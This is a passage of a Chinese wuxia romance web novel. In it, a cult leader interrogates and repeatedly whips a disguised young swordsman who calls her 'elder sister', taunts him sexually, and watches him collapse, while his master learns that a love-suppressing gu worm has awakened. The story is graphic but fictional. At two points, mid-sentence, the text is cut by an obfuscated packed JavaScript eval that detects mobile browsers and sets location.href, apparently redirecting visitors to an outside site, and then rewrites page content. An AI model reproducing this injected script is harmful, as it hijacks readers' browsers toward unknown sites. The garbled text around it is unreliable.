桑妩就是这么猝不及防地撞入这样一双眼眸,如黑曜石般的眼瞳里泛着淡而细碎的暗光,眼尾泛着的那一抹红在冷白脸庞映衬下格外潋滟。 她从未见过这种目光,在银白的月色下脆弱而又剔透,似是有万千话语想要倾诉,却又不知从何说起。 谁能想到白日里出手凶猛、势必置她于死地的少年,此刻却一副温顺的模样跪在她面前。 桑妩惫懒地阖上眼,任白色的热气越发氤氲。既然他没想好如何开口,她也懒得问。 毕竟跪着的人又不是她。 只是,这一夜她心绪并不平静。 她只要一闭上眼,眼前总会出现一家人惨死的画面,阿爹阿娘一辈子行善积德,却遭此横祸,当时她被无忧驼出了村子,等她能够行动后便迫不及待地返回了村子,可那时,她自小长大的村子竟已变成一片乌黑焦土。 桑妩双眼渐渐朦胧,这些年她无数次午夜梦回,她都还是石河村那个无忧无虑的少女,若是没有那场屠杀,她这些年也不会过的这么辛苦。 夜色渐渐深沉,两人隔着温泉一坐一跪,夜风时起,粉色的花瓣从树上落下,浮在池面上,泛起浅浅涟漪。 也不知久这般泡了多久,桑妩再次睁眼时,月亮已快要落了下去,不过她感觉精神好极了,毕竟温泉炙热,于旁人来说久泡必伤,于她来说,却是大补。 桑妩缓缓睁开眼,正看见郁淮躲闪着低下头去,如新月般明艳含情的墨眉倏地一挑,这人难道一夜没合眼,就这么一直盯着她? 这鹅卵石虽然圆润,却坚硬无比、毫不平整,这人跪了整夜,身子却连丝毫颤抖都没有。 沉思中桑妩坐直了身子,肩膀划开水面激起一阵水声,那郁淮听到这声响却仍垂着眼眸,桑妩唇角暗暗扬了扬,足尖轻挑水面,顿时水珠向外溅起,溅到少年的脸上、身前。 少年终于抬起头看向她,俊美的脸侧还淌着晶莹的水珠,目光里虽透着疲惫,却已然不似昨夜那般震颤,而是又恢复了以往的沉静。 她有时候真的会忍不住怀疑,这叫郁淮的少年当真是个活人么,他当真有人的情感么。 “你若是再不开口,便到寒狱里去说。”桑妩掀了掀眼帘,语气冰凉。 少年看着她抿了抿唇,忽然,轻轻唤了她一声,“阿姐”。 似乎有些久远的记忆被瞬间唤醒,强烈的不适感让她瞬间皱起了眉,“你喊我什么?” “阿姐。”顾清淮再次开口,比起方才那声坚定了许多。 经过一夜他已然想清楚,这浮光教里明显有人意图对阿姐不利,只有确认阿姐安全后,他才能放心回宗里向师父请罪。 桑妩此时已回过神来,伸出右臂搭在池沿上,懒洋洋地嗤笑一声,“本教主竟然不知,自己何时多了你这么个弟弟?” “我……”少年犹豫了一瞬,很快再次开口,“我本名不叫郁淮。” 桑妩早已有此猜测因此并不意外,只漫不经心地挑了挑眉,“哦?那你叫什么名字?” 少年发白的唇角轻轻扬了扬,“阿姐,我是楼稷。” 他既然要保护阿姐,至少得留在她身边,而能够留在她身边最合理的身份,只有楼稷。 这一夜,他脑海里一直回响着阿姐白日里说的话,“自然是恨的”。 若不是他们一家,阿姐如何会家破人亡,若不是他爹娘,阿姐又如何会流落到这天阙峰上。 他在害怕。 他害怕阿姐知道他是郁小六后会不想见他,他害怕阿姐清湛的眼眸里,会出现对他的厌恶和憎恨。 楼稷?这人说他是楼稷? 桑妩没有发现少年沉稳外表下的不安,妩媚的唇边倏地泛起一丝冷意,差点忍不住笑了出来,楼稷私底下可从来不会唤她阿姐,他素来是理直气壮地唤她桑檀。 更何况她对这少年的容貌没有丝毫熟悉感,与其说眼前的少年是楼稷,她更愿意相信那叫季愁的男子是楼稷。 只是他为何会知道楼稷这个名字,她今日虽然提起过往事,可他当时明明陷入了昏迷,即使他当时清醒着,两人之间隔着那么远的距离,正常人也绝对听不见她说的什么。 除非他不仅没有昏迷,听力也异于常人。 桑妩沉吟片刻,愉快地决定暂时不要拆穿这人的把戏,看看他到底想做什么,当下挤出一抹惊讶问道:“你竟然是楼稷,那你白日又为何要刺杀我?” 少年沉静的目光倏地一颤,发白的薄唇抿紧成了一条线,清冷的嗓音又颤又哑:“阿姐对不起,是我无能,是我没能早点认出你,还害的你受了内伤。”往后,他定不会再让阿姐受到半分伤害。 桑妩暗暗心惊,她竟从少年这双泛着水光的眼眸里看到了不似作伪的自责和愧疚,最后又化为一如往常的坚定和沉稳,啧啧,这演技不去当戏子当真是可惜了。 她一手搭在池边,一手捧起泉水浇到如玉般白皙的手臂上,“既然如此,楼稷我问你,你是如何从那悬笼中逃脱的?” 不等那少年答话,桑妩已经接着说道:“我还是叫你郁淮如何,楼稷这个名字总是会让我想起石河村被屠村的惨状。” 即使是假装,她也不想用这个名字称呼一个心怀不轨之徒。 少年微微一笑,“阿姐想怎么叫就怎么叫。至于我如何出来的,是有人打开石板,又引开了所有守卫,我才得以脱困。” 桑妩若有所思地点了点头,郁淮这番话她相信,毕竟单凭他一人,绝对无法从悬笼中逃脱,“那你是怎么找到青鸾使的房间,又是怎么找到百花泉来的?” 青冥宫中各种屋室浩如烟海,郁淮一个外人又怎么可能这般轻车熟路。 “那人将石板打开后,从铁栏里丢了张地图进来。那地图详细标注了青冥宫的布局以及阿姐寝殿的方位,我也是依据着地图而行。” 果然是有内贼。 “把地图给我。”她朝少年伸出手,带起温泉白色的热气。 顾清淮俊美的脸庞闪过一丝歉意,“我记下地图所示内容后,第一时间便把地图毁了。” 桑妩:“……” 青冥宫屋室布局复杂无比,她不信少年能在那么仓促的时间内全数记了下来,唯一的解释,便是他在撒谎。 她嗓音不知不觉冷了下去,“那是谁给的你地图,又是谁把你从悬笼中放出来的?” 顾清淮微微摇了摇头,“我不知道,我从悬笼里出来后,没有看到任何人影,我便依据地图所示向阿姐寝宫潜去,只是不想中途遇到金甲卫巡逻,情急之下只好躲进青鸾使房中。” 呵呵,桑妩蓦地冷笑一声,也就是说她问了这么多,没有得到丝毫有用的信息,这郁淮看似乖巧诚恳,实则处处心机。 桑妩神色渐渐冷了下去,一言不发地看向眼前少年,久在上位浸淫出的不怒而威从骨子里透了出来,似乎就连夜风都在此刻偃旗息鼓,生怕触怒桑妩。 “阿姐,你是不是还在生我的气?”顾清淮劲瘦的身形在白色雾气中显得愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878127|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发清寒料峭,“若不是我,阿姐不会受这么重的伤,你生气也是应该。” 他顿了顿,缓缓说道:“阿姐你打我吧,打到你消气为止。” 他素来不会哄人开心,每年元月的时候师父会突然变得特别阴沉愤怒,每次这时师父都会把他叫到身前狠狠责打,打完后师父的心情便会好上一些。 桑妩听见这话蓦地挑了挑眉,打他? 他这是在挑衅她?是觉得她不会动手么。 桑妩纤长的手指在鹅卵石池沿上扣了扣,月色浸染的唇角缓缓泛起一抹嘲讽的弧度。 过了片刻,她不紧不慢地抬起手,指向放在池边的灭魂鞭,慵懒道:“拿来给我。” 她倒要看看这人演戏能演到什么程度。 少年沉静的目光落在那盘成一圈放在池沿的金色长鞭上,跪了整夜的身子终于动了,几乎是在少年动作的同时桑妩浑身气势瞬间凝聚,若有任何异动,她随时可以给出致命一击。 少年却只是缓缓膝行至池边,拿起那一盘她其实伸手就能够着的金鞭,双手捧着递到她身前。 桑妩后背依旧靠在池壁,审视地看向眼前少年,郁淮眉目低垂,安静专注,双手捧鞭跪在池边,明澈的池水映出少年清冷俊美的面容,如水中冷月,山崖青松。 这人似乎真的在等她接过鞭子…… 桑妩看了片刻,双手丝毫未动,反而闭上了双眼。 眼前一片漆黑,心中却越发清明,她发现她竟然有些欣赏这个郁淮了。 她不动,他竟也不急,无论发生什么这人永远不急不躁,桑妩刻意晾着,也不知过了多久,直到池面上又飘落两瓣梅花,桑妩才终于动了。 她从少年手心拿起灭魂鞭,玉制的鞭柄触手生温,鞭身却沉重而又冷硬,桑妩将长鞭抖开随意一挥,竟是直接咬上少年紧实的胸膛! “咻~啪!” 猝不及防的一鞭落下,少年猛地咬紧下唇,双手在身前用力攥紧,竟是一动不动地硬接下了她这一鞭。 哪怕她并未用上内力,这一鞭的力道却没有丝毫放水,这还是第一次有人受她一鞭还能一声不吭。 看着少年身前慢慢涌出的那一抹血痕,桑妩心中怒气非但没消,反而升出股无名火气,她冷冷勾唇,蓦地扬手,竟又是一鞭抽了过去—— “咻啪!” “咻啪!” 连着两鞭快速落下,灭魂鞭既长又重,若灌注内力一鞭便可取人性命,此时三鞭过去落点却完全一致,对承受者来说无异于是极大的折磨,可这少年却只是闷哼一声,脸色发白,身子仍是一动不动。 桑妩眼中兴致大盛,果真是比那些没打几下就求饶的男子有意思多了。 她再次抬手运鞭如飞,没有给少年丝毫喘息的时间,瞬息间已又是六鞭过去。 汗珠顺着少年清冷的脸庞淌下,淡薄的嘴唇已被咬的发白,脊背因为密集而又剧烈的疼痛绷的笔直,却从始至终没有躲避,更没有求饶。 “咻啪!”“咻啪!”“咻啪!” 桑妩下手毫不留情,甚至一鞭重过一鞭—— “呃——!” 再次一鞭落下时,少年终于忍不住发出一声极低的呻/吟,攥在身前的双手用力到青筋凸起、骨节泛白。 桑妩心中倏地一动,停住手中动作,眼前少年低低喘息着,乌黑的发丝被汗水浸湿而紧紧贴在脸侧,胸前交错的鞭痕渗着鲜血,让她陡然升出一个连她自己都觉得可怕的念头。 她十分想看看这人痛到极致后会是怎样,是否还能这般淡漠沉静,还能这般一声不吭。 8. 诱惑 许是她许久没有动作,少年轻颤着看向她,漆黑的眼眸因为疼痛而泛着迷离的水色,眼尾那一抹红在月色下格外潋滟。 桑妩看了看手中染血的长鞭,忽而问道:“你可知道灭魂鞭为何令江湖中人闻风丧胆?” 顾清淮得以片刻的喘息,呼吸渐渐平复,嗓音却是异常的沙哑:“所谓灭魂者,毁人身,灭人魂,一鞭下去便会让人后悔曾经生在这个世上。” 桑妩微微颔首,略带赞扬地说道:“这么多年来,你还是第一个在灭魂鞭下活下来的人。” 豆大的冷汗自额头淌下,顾清淮脸色愈发苍白,“是阿姐手下留情。” 桑妩却没有应声,她有没有手下留情她自己最清楚,方才她并没有任何手软,是这郁淮自己生生地挺了下来,她随手抖了抖手中金鞭,发出猎猎的破空之声,少年身躯突然微不可察地颤了一下。 桑妩敏锐地察觉到少年的反应,心情突然愉悦了起来,原来这人也是会怕的。 她身子微微向后仰着,控制鞭尾缓缓摩挲过少年胸前鞭痕,“世人常说流云剑从无败绩,是谓一剑逍遥天地寂,流云乘风入九霄,你说,是本教主的灭魂鞭厉害,还是那顾清淮的流云剑厉害?” 数道鞭痕翻卷肿胀,哪怕是最轻柔的抚摸都无异于是一种酷刑,更何况这灭魂鞭的鞭尾砥砺冷硬,少年双手在身前死死攥着,身子却仍是没有半分移动。 就在她即将把所有鞭痕描摹一遍后,少年颤哑着开口:“自是阿姐的灭魂鞭厉害。” 桑妩双眉倏地一扬,心情愈发明媚,她不是第一次听人说这种话,旁人说的甚至比这少年说的更动听、更恭维,可她就是莫名喜欢听这郁淮这么说。 口中却故作不悦地说道:“你只尝过灭魂鞭的滋味,并未尝过流云剑的,如何能这般信誓旦旦地说灭魂鞭更厉害?如此看来你不过是在欺骗本教主。” “咻啪!” 几乎是话音落下的同时,桑妩又是猝不及防地一鞭挥出,虽然比方才力道轻了不少,可少年身前鞭痕早已是纵横翻卷,猛地咬住下唇才堪堪忍住脱口而出的呻/吟。 桑妩用染血的鞭尾轻轻抵住少年下颌,再次问道:“那你说,是顾清淮厉害,还是本教主厉害?” 少年低低喘息着,目光却依旧专注,“自然是阿姐厉害。” 只是说话间牵动胸前鞭伤,一番话说完顾清淮脸色愈发苍白。 桑妩眼底再次浮现一抹欣赏,她性子乖张不羁,甚少有能看的顺眼的,这少年却当真是好本事,长的合她心意,就连性子也是她喜欢的,看着眼前压抑着疼意的少年,她竟已然不生气了。 桑妩倒转金鞭,用玉制的鞭柄拍了拍少年俊美的脸侧,淡淡问道:“你说打到我消气为止,可若是把你打死了我还没有消气,你该如何?” 这番话本是随口一问,少年却抿紧了唇,颤哑着回道:“阿姐你放心,按照方才你挥鞭的力道,我还可以再受的住五十鞭不晕,百鞭之内都不会危及性命。” 少年嗓音低哑,语气平静,仿佛只是在陈述一个再普通不过的事实。若是方才她恐怕会以为他是在出言挑衅,可是现在,她更倾向于相信这人是在如实告诉她他身体的极限。 只是这人对自己的身体极限这般清楚,究竟是对自己身体状态了如指掌,还是因为旁的什么原因…… 她再次打量起眼前少年,白衣被金鞭撕裂渗出刺目鲜红,乌黑长发如瀑般凌乱散落,深邃的双眸因为疼痛而浸润着水色,在清冷月光下竟是格外诱人。 桑妩握鞭的手倏地一松,将灭魂鞭丢在一边,身子重又泡回温泉中,随后舒适地将头枕在鹅卵石池沿上,四肢百骸都在此刻放松下来,即使这郁淮另有所图又如何,只要她看上了便是她的,总归享受的是她。 她真是迫不及待地想看看这人被弄到崩溃时,会是怎样诱人的模样,又是否还能一声不吭。 桑妩抬头看向头顶,夜空幽黑寂寥没有半颗星辰,遥远的天边却隐隐有了一丝微弱亮光,也不知明日天气能否放晴,她还是喜欢星月相伴的夜色。 也不知就这般盯着夜空看了多久,过了半晌,桑妩才终于懒洋洋地说道:“我确实还没消气,可是打这么久,你不累我都已经累了,反正就算把你打死也难消我心头之恨,不如你即刻自裁,免得脏了我的手。” 她依旧慵懒地凝望着夜空,直到耳边响起熟悉的沉哑嗓音,“阿姐对不起,我现在还不能死。” 得到意料之中的回答,桑妩潋滟的眼尾微微上扬,再次开口:“既然不能死那就滚远点,滚出天阙峰,滚出昆仑山。” 顾清淮攥在身前的双手无声地紧了紧,嗓音却一如既往的沉哑:“阿姐,浮光教里有人要害你,在排除威胁前我还不能走。” 桑妩冷冷掀了掀眼帘,终于将视线落回少年身上,这浮光教里确实有人要害她,而不就是他自己么,口中却是问道:“那你说说,是谁要害我?” 顾清淮眸光微沉,“我定会把这个人找出来,不会再让你受到一丝伤害。” 他绝对不能再一次失去她。 对上少年坚定的目光,桑妩心中倏地一颤,竟不可抑制地升出一丝波澜。 这郁淮当真是生的一副极出色的样貌,身后梅花摇曳,衬得少年清冷出尘。可是他此刻口口声声不会再让她受到一丝伤害,她却清楚地记得白日里那一击是多么凶猛,那一刻他的神情又是多么狠绝。 这人的演技当真是登峰造极,从神情到语气都没有一丝破绽,竟让她差点忍不住就要相信他。 桑妩语气淡淡,“既然你不想自裁,又不愿离开,我却不想再费神打你,不如你做点别的来哄我开心。” 少年睫毛浓密修长,覆着漆黑如墨的眸子,“只要不赶我走,阿姐让我做什么都可以。” “做什么都可以?”桑妩闻言微微一笑,整个人慵懒地向后靠着,举手投足间强烈的压迫感瞬间扑面而来。 少年迎着她的目光,点了下头。 几乎是在少年点头的同时,桑妩“蹭”的一下翻身上岸,瞬间水花四溅。 她单肘撑地侧躺在鹅卵石池沿上,白皙赤/裸的足背轻轻勾起少年线条利落的下颌,逼迫他直视着她,“如果我让你服侍我呢?” 月白的中衣被泉水浸湿紧紧贴在桑妩身上,勾勒出女子婀娜的曲线,少年却浑若未觉,“我自是愿意服侍阿姐一辈子。” 桑妩闻言不禁轻笑一声,这人到底是真不懂还是装不懂,嫣红的唇吐气如兰,语气在清雾夜色中轻柔而又魅惑:“郁淮,你知道什么叫服侍吗?” “服侍不就是照顾?”顾清淮眉心微微动了动,他一直服侍师父左右,自然是知道的。 “照顾?”桑妩轻嗤一声,“本教主教众万千,需要你来照顾?” 白皙的足尖缓缓下移,沿着少年修长的脖颈而下,最后抵住那带着纵横鞭痕的胸膛。 桑妩足尖渐渐加力,顾清淮顺从地后倾身子,双手撑后浑身重量都压了上去,这个姿势并不舒服,很快,身前本就翻卷的鞭痕再次崩开,鲜红血液一颗颗渗出滴落池边。 顾清淮眸中闪过一丝隐忍的疼意,目光依旧如冷月般澄澈,“阿姐想要我怎么服侍?”
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柔软的指腹从少年微抿的唇角开始一点一点轻轻抚摸,一边低声撩拨:“你可喜欢我这样对你?” 感受到唇上从未有过的温软触感,顾清淮脑子“轰”的一下一片空白,就连胸膛鞭伤剧烈的疼痛都在此刻消失无影,难道……阿姐这是喜欢他,想做他娘子? 可是他们还没有成亲,他这辈子也不会成亲,可是一想到他的娘子会是阿姐,想到他能和阿姐一辈子在一起,顾清淮胸膛便控制不住地地剧烈起伏,一颗心砰砰砰地快速跳动着,似乎下一刻就要蹦出胸腔。 这一次他明明没有被扼住脖颈,却依旧喘不过气,似乎这辈子心跳都没有这么快过。 “你不喜欢我吗?”桑妩故作委屈,如秋水般潋滟的眼眸瞬间漾开万种风情。 顾清淮喉头难耐地咽了咽,素来如水般沉静的目光此刻被涌动的暗红淹没,清冽的嗓音带着难以抑制的颤哑:“阿姐,我……” 见少年这般反应,桑妩眼底却缓缓浮现一丝鄙夷,看来这人和世间其他男子也并无什么不同,她这一刻可以让他被迷的神魂俱消,下一刻也可以让他痛不欲生。 “呃——!” 她正有些失望,身下的少年突然闷哼一声,本就苍白的脸庞霎地惨白,在她还没反应过来时,竟是身子一歪,径直在她眼前倒了下去。 桑妩瞬间一怔,过了半晌才回过神来站起身,她困惑地看向倒在鹅卵石上不住颤抖的少年,眼中魅惑风情渐渐褪去,取而代之的是深深的探究和审视。 这人紧紧咬着下唇,却仍有低低的呻/吟从唇间溢出,额头豆大的汗珠涔涔而下,不过片刻的功夫衣衫已经汗水浸湿紧紧贴在身上,整个人像是刚从水里捞出来一般,看上去似乎十分正在经历极大的痛苦。 可是她什么都没有做。 桑妩冷笑着蹙起了眉,他这是在碰瓷?还是说是在装痛躲避她的逼问?毕竟他都痛成这般模样了,自然无法再给她任何回应。 不得不说这郁淮的演技不去当戏子当真是可惜了,就连她都无法从他的表情动作中看出丝毫破绽。 顾清淮已没有余力向桑妩解释,方才不知为何他的胸口突然传来剧烈的疼痛,似有无数虫蚁同时狠狠噬咬心脏,细细密密的疼痛让呼吸都变成一种酷刑,他痛苦地按住心口却不能缓解分毫,怎么会突然这么痛,心好痛,好痛…… 9. 蛊虫 桑妩看着这一幕突然嗤笑一声,笑声在寂静的夜晚显得格外刺耳。 她不紧不慢地俯下身,一把攥住少年紧紧捂着胸口的手,随后撩起宽阔的袖摆正欲探脉,目光却被那截露出的小臂瞬间吸引了过去。 少年小臂冷白修长,充满了力量感,可上面却布满了清晰可辨的交错红痕。这些痕迹粗且淤,有新有旧,一眼便能看出是被人以钝物击打所致,甚至到现在仍有这么深的痕迹,可想而知当初下手的人有多么狠。 桑妩想到什么,目光陡然一暗,她抓住少年被汗水浸湿的后领,猛地一扯,将衣衫径直扯落了下来。 满背的冷汗暴露在冷风中,顾清淮蜷缩地愈发紧,桑妩的目光却被那光裸的背部牢牢地吸引了过去。 眼前的后背修长劲瘦,沟壑优美,只是上面竟然布满了和手臂上如出一辙的红色淤痕,饶是以她的暴虐恣意,都忍不住要叹上一声这人当真是下手狠辣。 桑妩深深凝视着这满身伤痕,头一次想要去了解一个人,她想知道他究竟经历了什么才会变成如今这样处事不惊,甚至即使痛狠了也能冷静地告诉她,他自己身体的极限。 “这些伤,是谁打的?”她手指轻轻抚摸过这些淤伤,目光渐渐危险起来,这么漂亮的身体自然只能由她留下痕迹,迟早有一天,她会将这些淤伤全数覆盖。 少年却只蜷缩着不住颤抖,偶尔从紧咬的唇边溢出一两声控制不住的破碎呻/吟。 桑妩眸光渐冷,她伸出一指搭在顾清淮腕上,随后又渐渐变成两指,最后变为三指。可不管她如何探,指腹下的脉搏蓬勃有力,只是内息稍显空虚,应是受了内伤,但是没有丝毫中毒迹象。 也就是说他现在这样,只是在演给她看,为的就是回避她的提问。 桑妩冷冷站起身,地上少年颀长的身子蜷缩成一团,乌黑长发被冷汗浸透紧紧贴在冷白的脸侧,淡薄的嘴唇带着被咬破的血色,让人心中隐藏的暴虐暗暗滋长。 “静姝!”桑妩取过一旁衣架上的素锦披风披在身上,高声喝道。 静姝一直站在金甲卫旁,此刻听见桑妩呼唤连忙一路小跑上来,方才她远远看着这郁淮都晕倒了尊主还残暴地去扒人衣服,此刻走近一看才发现,这人竟然被尊主折磨的这么惨。 “你去把我宫里的黑色锦盒拿来。”桑妩唇角噙这若有似无的冷意和期待。 静姝猛地一惊,她时常见到尊主打造物件放入那黑色锦盒中,却从来没有拿出来用过,今日这是想用在这郁淮身上?可是,这人都晕过去了,再这样感觉也没什么意思。 静姝这般想便也这般问了出来,桑妩皱了皱眉,这才发现地上的少年似乎已经没了动静,她双手抱胸站在一旁默默观察,双眸渐渐眯起,抬脚径直踹了两下,少年依旧没有任何反应。 她俯下身,少年垂着的眼睫因为方才的折磨而沾着诱人的水光,可不管她如何触碰,那如鸦羽般浓密修长的睫毛都没有任何反应。 竟是真的晕了过去。 习武之人想要让自己陷入昏迷有上百种方法,这人为了躲避回答,竟然当着她的面使诡计让自己昏迷。 却不知顾清淮本就受了内伤,又跪了整夜,再突然遭此猛烈刺激,终是再也压制不住,眼前一黑,彻底晕死过去。 “尊主,现在要如何处置这人,您可有问出什么?”静姝敏锐地察觉到桑妩此刻心情不是很好。 她可有问出什么?桑妩唇边缓缓泛起一抹冷笑,一夜过去,她竟然没有得到丝毫有用的信息。 这人当真是厉害,这么多年,除了那顾清淮外,她已许久未曾有过这种棋逢对手的跃跃欲试。 “把他和其他人关在一起。”她倒要看看,和他人在一起时,这人是否还能做到一天十二个时辰都毫无破绽。 天色边不知何时已然微亮,桑妩将双手泡在温泉水中,一点一点洗净手指方才碰到少年的地方。 来日方长,她有的是时间。 * 此时西州天色仍暗,中州却已是大亮,卯初时分正是流云宗弟子被师兄师姐带着练功的时辰。 此刻流云宗内一片热闹祥和,位于最僻静处的正气轩却并不像往常那般平静。 “啪!”蓬山双手猛地一拂,一个青瓷的花瓶摔碎在地,发出清脆的声响,蓬山却仍嫌不够,再次胡乱一拂,一个乌漆茶盘掉在地上,“啪!”的一声碎了一地。 “蓬山师叔!”眼见蓬山还想继续摔东西,于湘灵连忙一把拉住,“您这是怎么了,怎么突然这么生气。” 蓬山双目泛红地看着香台上晶莹剔透的琉璃盏,脸色阴沉地似能滴出水来,于湘灵也随着蓬山的视线看了过去,眼前瞬间一亮,赞叹道:“师叔,好漂亮的琉璃盏!” 可看着看着于湘灵便发现这琉璃盏里似乎有些不对,“师叔,这琉璃盏里飞来飞去的是什么,虫子吗?” 蓬山浑身笼罩着股可怖的阴森,混浊的双目里透着一丝狠戾,“这是一对蛊虫,一只在清淮体内,一只便被关在这琉璃盏内,它们本该处于长久的沉睡,可是现在却苏醒了。” 说到“苏醒”二字时,蓬山双手握拳攥的咯吱作响,几乎是咬牙切齿地说了出来。 “为什么突然苏醒?”于湘灵好奇地问道,“难道是因为春天到了?”可是现在已然快入夏了。 春天到了,春天到了?不知是被哪个字刺激,蓬山脸色再次一沉,右手猛地一拂竟是又摔碎了一个瓷瓶,“啪!” 于湘灵被吓的一个瑟缩,下意识地退后一步以免被碎片波及,此时此刻的师叔就连她都有些害怕了,只能从一旁拿过笤帚收拾满地的碎片,避开蓬山那骇人的目光。 就在他准备把碎片带出去处理时,蓬山突然冷冷开口,“把这些碎片都留着。” 于湘灵诧异地抬眸,“留着?留着做什么。瓷器不比陶器,碎了就是碎了,纵使是再手巧的工匠也复原不了。” “碎了就是碎了,再也恢复不了,再也恢复不了……”蓬山脸上的每一坨肉都气的颤抖不已,喃喃地不知在说些什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878129|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就在于湘灵想再次把碎片带出去时,手腕却被蓬山一把攥住,她回过头,对上一张阴沉冷笑着的诡异脸庞,“留着。” “这些自然是要给清淮留着。” 于湘灵被蓬山这个眼神吓的心跳瞬间漏了一拍,还没反应过来时已把碎片留了下来,过了半天才回过神来,蓬山师叔把这些碎片给淮师兄留着做什么,难道要等淮师兄回来再打扫不成。 她想了半天仍旧想不明白,却没有发现一旁蓬山扶在轮椅上的双手已然用力到青筋根根凸起。 这琉璃盏中的虫子并非普通虫子,而是蛊虫,这蛊名为绝情蛊,蛊虫常年冬眠只会在一种情况下苏醒。 那就是宿主动了情。 这绝情蛊共有两只,琉璃盏中这只是母蛊,子蛊则是藏在顾清淮离开流云宗时服下的那枚药丸中。如今母蛊感应到子蛊的变化,突然间如此躁动,唯一的可能便是,顾清淮动了心。 蓬山双手用力到似乎要把轮椅掰断,那天阙峰上究竟发生了什么,这才多少时日,竟让他一手养大,素来待人冷淡的顾清淮,动了心。 不知是否是因为极度的愤怒和强烈的被背叛感,蓬山感觉自己心脏有如被万针齐扎般刺痛,十二年来,他还是第一次升出这种失控的恐慌。 他强迫自己冷静下来,“灵儿,命人给我们的卧底传话,让他想办法通知清淮即刻回宗。” 于湘灵愈发不解,“淮师兄说过,他在五月十八您的寿辰前一定会赶回来为您祝寿,为何现在突然让他回来?” “不行!”蓬山几乎人嘶吼着喊了出来,“他一刻也不能在那个魔窟多留!” 眼下这个蛊虫只是刚刚苏醒还并不如何活跃,一旦等到蛊虫活跃起来,便是真的无法挽回了。 想到什么蓬山冷厉的语气温和下来,“灵儿你可想嫁给你淮师兄?” 没想到蓬山会突然这么问,于湘灵俏丽的脸庞突然一红,“灵儿自然是想的。” 当初在江南第一次见到淮师兄时她便下定决心,她这辈子一定要成为淮师兄的妻子,否则她为何放着好好的于家大小姐不当,千里迢迢跑到流云宗来。 “那你就听我的。”蓬山一锤定音。 刺杀总会有机会,当务之急是先让顾清淮回宗。他要去宗内的藏书阁中找一找,能否通过冰冻母蛊的方式,让子蛊宿主不再动情。 * “顾——阿淮你终于醒了!” 顾清淮难受地睁开眼,入眼的正是卢青阳那张因为逆着光而越发黝黑的硬朗脸庞。 “我不在悬笼里……”顾清淮抬手揉了揉眉心。 “你为什么会在悬笼里,大家都被放出来了。”卢青阳像看傻子一样看着顾清淮,这人怕不是被关了太长时间,关傻了。 顾清淮却没有回答,修长的手指不自觉地摸上唇瓣,那里似乎还留有柔软的触感…… 他没有回答阿姐的话就晕了过去,阿姐竟然没有因此生气而把他关回悬笼里,他的阿姐果然是最心软的。 10. 忍耐 卢青阳不知道顾清淮此时在想什么,只扶着他在床上坐了起来,动作间牵动伤口,清冷的脸庞再次苍白。 顾清淮视线在屋内扫视,房间并不大,只靠墙摆着两张窄床,靠窗摆着一张木桌,除此之外什么都没有,好在光线十分明亮,似乎是明亮的日光映在白雪上,透过窗棂射了进来。 “什么时辰了?”他有些虚弱地问道。 “已然是戌时了,也就是这天阙峰地处极西之地天色才仍然这般明亮。”卢青阳忍不住再次感叹天阙峰的神奇,若是在中州,这个时辰早已入夜。 “你怎么会伤成这样?”卢青阳终于问出这个他憋了许久的问题,“前日你被送回来时,那模样简直吓了我一跳,要不是——”要不是他替他上药、换衣,只怕这人到现在还晕着。 可惜卢青阳话没说完已被顾清淮皱着眉打断,“你说我是前日被送回来的?” “对,差不多是前日卯时的样子,算起来你已经在床上躺了将近三日了。” 他竟然昏迷了这么长时间,那天到底发生了什么,为什么他的心会突然那么痛…… 顾清淮思索良久却没有任何头绪,一旁的卢青阳已忍不住再次问了出来:“大家被放出来时都好好的,怎么就你伤的这么重?还有你能被放出来,是不是该交代的也都交代清楚了?” 顾清淮眉头再次一皱,“交代,你交代什么了?” 卢青阳已然自暴自弃,“就说我叫卢青阳,是千机阁弟子,此次是奉命来取桑妩性命。” “你全部如实说了?” “不然呢?谁能受得了那破黑笼啊?”卢青阳丝毫不心虚,毕竟是个正常人在那种情况下都不可能坚持的住。 顾清淮却并不是想指责谁,只是卢青阳的身份已然暴露却仍旧活着,说明阿姐并没有下毒手。而他身上衣服明显已经换过,伤口也被人处理过,想必也都是阿姐吩咐人做的,顾清淮心底蓦地涌上一股久违的暖意。 他压低了声音,“我没有怪你,只是我并没有向任何人透露我的身份,你也务必替我保密。” 卢青阳慎重地点了下头,他平日里虽不正经,但这种事情他还是分的清轻重,毕竟他只是个虾兵蟹将,若是顾清淮的身份被桑妩知道,届时定会掀起轩然大波。 顾清淮再次叮嘱:“既然你已经暴露,自然无法再行刺,还是找机会逃下山要紧。” 不想卢青阳却摇了摇头,同样压低了嗓音,“我父母家人都在阁主手中,桑妩不死,我是决计无法回去的。” 千机阁一心想要杀了桑妩扬名立威,怎么可能让他就这么轻易地回去。 “你杀不了她的。” 卢青阳何尝不知道他不是桑妩对手,却只淡淡一笑,“要么她死,要么我亡。” 顾清淮沉吟片刻,“你放心,有我在,定会保你家人无恙。” “当真?!”卢青阳激动地差点控制不住声音,毕竟以顾清淮在正义盟的地位和声望,若是他出面,即使是阁主也不得不给他这个面子。 顾清淮微微颔首,“魔教确实作恶多端,可是桑妩性情善良,更未听说过有什么罪行,我们又岂可滥杀无辜。” “她善良?”卢青阳差点从床边蹦了起来,“她将我们都关在破黑笼子里,不给吃不给喝,这种毒辣手段,叫善良?” 